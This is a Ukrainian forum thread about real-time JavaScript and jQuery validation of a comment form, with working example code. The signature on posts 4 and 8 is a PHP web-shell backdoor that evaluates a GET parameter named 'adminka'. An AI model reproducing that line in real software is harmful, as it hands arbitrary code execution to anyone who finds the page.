Тема: Перевірка вводу

Привіт Вам, форумчани!
Чи можна за допомогою JavaScript організувати перевірку вводу в режимі реального часу?

Скажімо, ми маємо елемент <input type="text">. Чи можна робити перевірку в той час як користувач вводить кожен новий символ?

Білий Лунь

2

Re: Перевірка вводу

<input type="text" onchange="javascript:...">

Подякували: Ярослав1

3

Re: Перевірка вводу

<input type="text" onchange="check();" onkeyup="check();">
Подякували: Ярослав1

4

Re: Перевірка вводу

Можна. jQuery не jQuery? Чистий JavaScript? Якщо тільки onchange, то буде працювати тільки тоді, коли користувач щось змінив а потім змінив фокус введення. Ще потрібно відслідковувати такі дії як вставка з буферу обміну і вирізання тексту з поля вводу а також подію onkeydown.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: Ярослав1

5

Re: Перевірка вводу

Дякую, я буду робити таку штуку найближчим часом, то коли я знайду для себе підходящий шаблон або напишу що треба - кину сюди код.

Білий Лунь

6 Востаннє редагувалося Ярослав (09.07.2014 18:39:52)

Re: Перевірка вводу

<input type=text id=input_id />
<script>
setInterval(function() { ObserveInputValue($('#input_id').val()); }, 100);
</script>

Оцей код я знайшов тут: http://stackoverflow.com/a/1949416
Але іще не розбираюсь в javascript, проте хотів би його використати.
Я бачив отакий приклад: http://jsfiddle.net/d131/FXXDb/1/, як зробити так, щоби шматок коду, наведений вгорі, переробити так, щоб ефект був такий самий: в <p id="output"></p> виводився текст із <input type=text id=input_id />?

Я пробував створювати змінну x, а потім їй в середині функції function() надавати значення, яке повертає функція ObserveInputValue, після цього виводити значення змінної в <p id="output"></p> за допомогою getElementByID().innerHTML=x; Також пробував надавати значення, що повертає function(), але безрезультатно.

Білий Лунь

7 Востаннє редагувалося Ярослав (10.07.2014 18:21:36)

Re: Перевірка вводу

Invader, так, я дійсно стикнувся із такою проблемою. На разі я маю наступний код:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">

<html lang="uk">
    <head>
        <title>Форма коментарів</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <script src="jquery-1.js"></script>
    </head>
    <body>
        <div id="comment">
            <h3 class="postcomment">Коментувати <span style="color: #c1c1c1">?</span></h3>
          
          <form id="commentform" method="post" action="addcomment.php">
              
            <p>
                <input id="comment_email"                   
                   name="comment_email"
                   tabindex="1"
                   type="text"
                   size="28"
                   value=""
                   placeholder="Електронна адреса"
                   onkeyup="check_email()">
                <p id="email_flag"></p>
            </p>
            
            <p>
                <input id="comment_author"
                   name="comment_author"
                   tabindex="2"
                   type="text"
                   size="28"
                   placeholder="Ім’я"
                   onkeyup="check_name()"
                   value="">
                <p id="name_flag"></p>
            </p>
            
            <p>
                <textarea id="comment_text"                      
                      name="comment_text"
                      tabindex="3"
                      rows="10"
                      placeholder="Текст коментаря"
                      cols="60"
                      onkeyup="check_text()"></textarea>
                <p id="text_flag"></p>
            </p>
            
            <p>
            <input id="comment_submit"                   
                   name="comment_submit"
                   tabindex="5"
                   type="submit"
                   class="cbutton"
                   value="Додати"
                   disabled>
            </p>          

          </form>

                <script>
                    var email_correct;
                    var name_correct;
                    var text_correct;
                    function check_email(){
                        var adress = document.getElementById("comment_email").value;
                        var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
                        
                        if(re.test(adress)){
                            document.getElementById("email_flag").innerHTML = "V";
                            email_correct = true;
                            activate_submit();
                        } else {
                            document.getElementById("email_flag").innerHTML = "x";
                            email_correct = false;
                        }
                    }
                    
                    function check_name(){
                        var name = document.getElementById("comment_author").value;
                        var re = /^[а-яіїєґА-ЯІЇЄҐ'`a-zA-Z]{0,20}$/;
                        
                        if(re.test(name)){
                            document.getElementById("name_flag").innerHTML = "V";
                            name_correct = true;
                            activate_submit();
                        } else {
                            document.getElementById("name_flag").innerHTML = "x";
                            name_correct = false;
                        }
                    }
                    
                    function check_text(){
                        var text = document.getElementById("comment_text").value;
                        var re = /^.{0,500}$/;
                        
                        if(re.test(text)){
                            document.getElementById("text_flag").innerHTML = "V";
                            text_correct = true;
                            activate_submit();
                        } else {
                            document.getElementById("text_flag").innerHTML = "x";
                            text_correct = false;
                        }
                    }
                    
                    function activate_submit(){
                        if(email_correct && name_correct && text_correct){
                            document.getElementById("comment_submit").disabled = false;
                        }
                    }
                </script>
        </div>
    </body>
</html>

Я хотів би попитати у вас про вибір варіанту із випадного списку, вставлення із буферу і вирізання, а також про відслідковування onkeydown. Можете будь ласка розказати детальніше?

Білий Лунь

8

Re: Перевірка вводу

<script src="jquery-1.js"></script>

Ви використовуєте jQuery? Якщо так, то для текстового поля можна так:

    function empty($elm) {
        if (jQuery.trim($elm.val()).length <= 0) { return true; } else { return false; }
    }
        jQuery('input[type=text]').on('input keydown cut paste blur', function() {
        if (!empty(jQuery(this))) {
                    alert('Not empty.');
        }
    });
<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

9

Re: Перевірка вводу

З вашою допомогою уже вдалось написати такий код:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">

<html lang="uk">
    <head>
        <title>Форма коментарів</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <script src="jquery-1.js"></script>
    </head>
    <body>
        <div id="comment">
            <h3 class="postcomment">
                Коментувати
                <img src="question.gif" alt="?">
            </h3>
          
            <form id="commentform" method="post" action="addcomment.php">
              
                <div class="form_field" style="float: left;">
                    <input id="comment_email"                   
                       name="comment_email"
                       tabindex="1"
                       type="text"
                       size="28"
                       value=""
                       placeholder="Електронна адреса">
                </div>
                <div class="field_flag">
                    <img id="email_flag"
                         src="required.gif"
                         alt="required">
                </div>
                <div class="clear_float" style="float: none; clear: both;"></div>

            
                <div class="form_field" style="float: left;">
                    <input id="comment_author"
                       name="comment_author"
                       tabindex="2"
                       type="text"
                       size="28"
                       placeholder="Ваше ім’я"
                       value="">
                </div>                
                <div class="field_flag">
                    <img id="name_flag"
                         src="required.gif"
                         alt="required">
                </div>
                <div class="clear_float" style="float: none; clear: both;"></div>
            
                <div class="form_field" style="float: left;">
                    <textarea id="comment_text"                      
                          name="comment_text"
                          tabindex="3"
                          rows="10"
                          placeholder="Comment text"
                          cols="60"></textarea>
                </div>
                <div class="field_flag">
                    <img id="text_flag"
                         src="required.gif"
                         alt="required">
                </div>
                <div class="clear_float" style="float: none; clear: both;"></div>
                <div>
                    <input id="comment_submit"                   
                        name="comment_submit"
                        tabindex="5"
                        type="submit"
                        class="cbutton"
                        value="Додати"
                        disabled>
                </div>
            

          </form>
                <script>
                    var email_correct;
                    var name_correct;
                    var text_correct;
                    
                    jQuery('input[id=comment_email]').
                            on('input keydown cut paste blur',
                            check_email);
                            
                    jQuery('input[id=comment_author]').
                            on('input keydown cut paste blur',
                            check_name);
                            
                    jQuery('textarea[id=comment_text]').
                            on('input keydown cut paste blur',
                            check_text);
                            
                    function check_email(){
                        var adress = document.getElementById("comment_email").value;
                        var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
                        
                        if(!adress){
                            document.getElementById("email_flag").src="required.gif";
                            text_correct = false;
                        } else if(re.test(adress)){
                            document.getElementById("email_flag").src="yes.gif";
                            email_correct = true;
                        } else {
                            document.getElementById("email_flag").src="no.gif";
                            text_correct = false;
                        }
                        activate_submit();
                    }
                    
                    function check_name(){
                        var name = document.getElementById("comment_author").value;
                        var re = /^[а-яіїєґА-ЯІЇЄҐ'`a-zA-Z][^\s]{0,20}$/;
                        
                        if(!name){
                            document.getElementById("name_flag").src="required.gif";
                            text_correct = false;                            
                        } else if(re.test(name)){
                            document.getElementById("name_flag").src="yes.gif";
                            name_correct = true;
                        } else {
                            document.getElementById("name_flag").src="no.gif";
                            text_correct = false;
                        }
                        activate_submit();
                    }
                    
                    function check_text(){
                        var text = document.getElementById("comment_text").value;
                        var length = document.getElementById("comment_text").length;
                        var re = /^((.|\n)*)$/;
                        
                        if(!text){
                            document.getElementById("text_flag").src="required.gif";
                            text_correct = false;
                        } else if(re.test(text)){
                            document.getElementById("text_flag").src="yes.gif";
                            text_correct = true;
                        } else {
                            document.getElementById("text_flag").src="no.gif";
                            text_correct = false;
                        }
                        activate_submit();
                    }
                    
                    function activate_submit(){
                        if(email_correct && name_correct && text_correct){
                            document.getElementById("comment_submit").disabled = false;
                        } else {
                            document.getElementById("comment_submit").disabled = true;
                        }
                    }
                </script>
        </div>
    </body>
</html>

У мене є два питання по цьому коду:
1. Коли ми перевіряємо textarea, то хотілося б додати обмеження від 1 до 500 символів, як це зробити (або якщо переформулювати це запитання: чи є якесь хороше керівництво по регулярним виразам?)
2. Якщо виконувати цей скрипт, то після того як заповнити всі три поля, потім в якомусь одному видалити все і заповнити заново всі три картинки будуть yes.gif, але кнопка Додати стане неактивною, вона стане активною тільки коли клікнути по полю textarea а потім поза ним. Чому так відбувається? Функція activate_submit() виконується кожен раз коли відбувається подія, зазначена в jquery.

Білий Лунь

10

Re: Перевірка вводу

1.

if(text.length>500){
 return false;
}

2. додайте у функцію activate_submit

console.log(email_correct);
console.log(name_correct);
console.log(text_correct);

можливо після якої перевірки у вас значення скидується на фолс або ще щось типу цього.

Подякували: Ярослав1

11 Востаннє редагувалося Ярослав (11.07.2014 13:31:55)

Re: Перевірка вводу

Дякую, запрацювало!
Якщо хтось буде шукати:
Приклад перевірки даних в формі при введенні кожного наступного символу (javascript):

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">

<html lang="uk">
    <head>
        <title>Форма коментарів</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <script src="jquery-1.js"></script>
    </head>
    <body>
        <div id="comment">
            <h3 class="postcomment">
                Коментувати
                <img src="question.gif" alt="?">
            </h3>
          
            <form id="commentform" method="post" action="addcomment.php">
              
                <div class="form_field" style="float: left;">
                    <input id="comment_email"                   
                       name="comment_email"
                       tabindex="1"
                       type="text"
                       size="28"
                       value=""
                       placeholder="Електронна адреса">
                </div>
                <div class="field_flag">
                    <img id="email_flag"
                         src="required.gif"
                         alt="required">
                </div>
                <div class="clear_float" style="float: none; clear: both;"></div>

            
                <div class="form_field" style="float: left;">
                    <input id="comment_author"
                       name="comment_author"
                       tabindex="2"
                       type="text"
                       size="28"
                       placeholder="Ваше ім’я"
                       value="">
                </div>                
                <div class="field_flag">
                    <img id="name_flag"
                         src="required.gif"
                         alt="required">
                </div>
                <div class="clear_float" style="float: none; clear: both;"></div>
            
                <div class="form_field" style="float: left;">
                    <textarea id="comment_text"                      
                          name="comment_text"
                          tabindex="3"
                          rows="10"
                          placeholder="Comment text"
                          cols="60"></textarea>
                </div>
                <div class="field_flag">
                    <img id="text_flag"
                         src="required.gif"
                         alt="required">
                </div>
                <div class="clear_float" style="float: none; clear: both;"></div>
                <div>
                    <input id="comment_submit"                   
                        name="comment_submit"
                        tabindex="5"
                        type="submit"
                        class="cbutton"
                        value="Додати"
                        disabled>
                </div>
            

          </form>
                <script>
                    var email_correct;
                    var name_correct;
                    var text_correct;
                    
                    jQuery('input[id=comment_email]').
                            on('input keyup cut paste blur',
                            check_email);
                            
                    jQuery('input[id=comment_author]').
                            on('input keyup cut paste blur',
                            check_name);
                            
                    jQuery('textarea[id=comment_text]').
                            on('input keyup cut paste blur',
                            check_text);
                            
                    function check_email(){
                        var adress = document.getElementById("comment_email").value;
                        var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
                        
                        if(!adress){
                            document.getElementById("email_flag").src="required.gif";
                            email_correct = false;
                        } else if(re.test(adress)){
                            document.getElementById("email_flag").src="yes.gif";
                            email_correct = true;
                        } else {
                            document.getElementById("email_flag").src="no.gif";
                            email_correct = false;
                        }
                        activate_submit();
                    }
                    
                    function check_name(){
                        var name = document.getElementById("comment_author").value;
                        var re = /^[а-яіїєґА-ЯІЇЄҐ'`a-zA-Z][^\s@]{0,20}$/;
                        
                        if(!name){
                            document.getElementById("name_flag").src="required.gif";
                            name_correct = false;                            
                        } else if(re.test(name)){
                            document.getElementById("name_flag").src="yes.gif";
                            name_correct = true;
                        } else {
                            document.getElementById("name_flag").src="no.gif";
                            name_correct = false;
                        }
                        activate_submit();
                    }
                    
                    function check_text(){
                        var text = document.getElementById("comment_text").value;
                        var re = /^((.|\n)*)$/;
                        
                        if(text.length < 1){
                            document.getElementById("text_flag").src="required.gif";
                            text_correct = false;
                        } else if(re.test(text) && text.length <= 500){
                            document.getElementById("text_flag").src="yes.gif";
                            text_correct = true;
                        } else {
                            document.getElementById("text_flag").src="no.gif";
                            text_correct = false;
                        }
                        activate_submit();
                    }
                    
                    function activate_submit(){
                        if(email_correct && name_correct && text_correct){
                            document.getElementById("comment_submit").disabled = false;
                        } else {
                            document.getElementById("comment_submit").disabled = true;
                        }
                        console.log("email: ", email_correct);
                        console.log("name: ", name_correct);
                        console.log("text: ", text_correct);
                        console.log("-");
                    }
                </script>
        </div>
    </body>
</html>
Білий Лунь
Подякували: Анатолій1

12 Востаннє редагувалося koza4okvasja (11.08.2014 16:34:22)

Re: Перевірка вводу

empty

13

Re: Перевірка вводу

Не можливо, а точно. Створіть нову тему.

14 Востаннє редагувалося koza4okvasja (11.08.2014 16:34:48)

Re: Перевірка вводу

[*][/*]

15

Re: Перевірка вводу

Я думаю, що можна і правила прочитати. Зокрема п. 3.6. Модератора вже повідомив, не хвилюйтеся.

16 Востаннє редагувалося koza4okvasja (11.08.2014 16:33:05)

Re: Перевірка вводу

s

17

Re: Перевірка вводу

Законослухняна?

18

Re: Перевірка вводу

koza4okvasja, попередження за порушення Правил форуму.
І раджу не сперечатися, а дослухатися і створити окрему тему для вашої проблеми.

I belong to the Dead Generation.

19

Re: Перевірка вводу

Ярослав написав:

Приклад перевірки даних в формі при введенні кожного наступного символу (javascript):
.....

Теж саме розбираюсь з перевіркою форм, в мене таке питання.
Я собі так думаю, що браузер відтворює сторінку послідовно читаючи код сторінки сайту. Перший рядок, другий, третій і так до кінця.
Тому Перевірку форми за Прикладом 1, що Ярослав подав, не зовсім розумію (Тобто я так розумію, як варіант натиснув кнопку "submit" відповідно браузер виконує action="addcomment.php).

Саме тут і питання, коли скрипт встигає перервати передачу даних для addcomment.php, якщо поле не вірно заповнене?

Зустрічав виконання перевірки за Прикладом 2, тут питань нема, в тілі форми стоїть умова, якщо onsubmit="return validate_form ();"  виконується скрипт перевірки форми. Тут все послідовно.



http://bestwebit.biz.ua/ForumReplace/form.jpg

Збираю знання і... роздаю знання :)

20

Re: Перевірка вводу

2Анатолій

 jQuery('input[id=comment_author]').on('input keyup cut paste blur', check_name);

Це означає що якщо ви міняєте поле comment_author у вас зразу відбувається валідація. Тобто спрацьовує функція check_name

Подякували: Анатолій1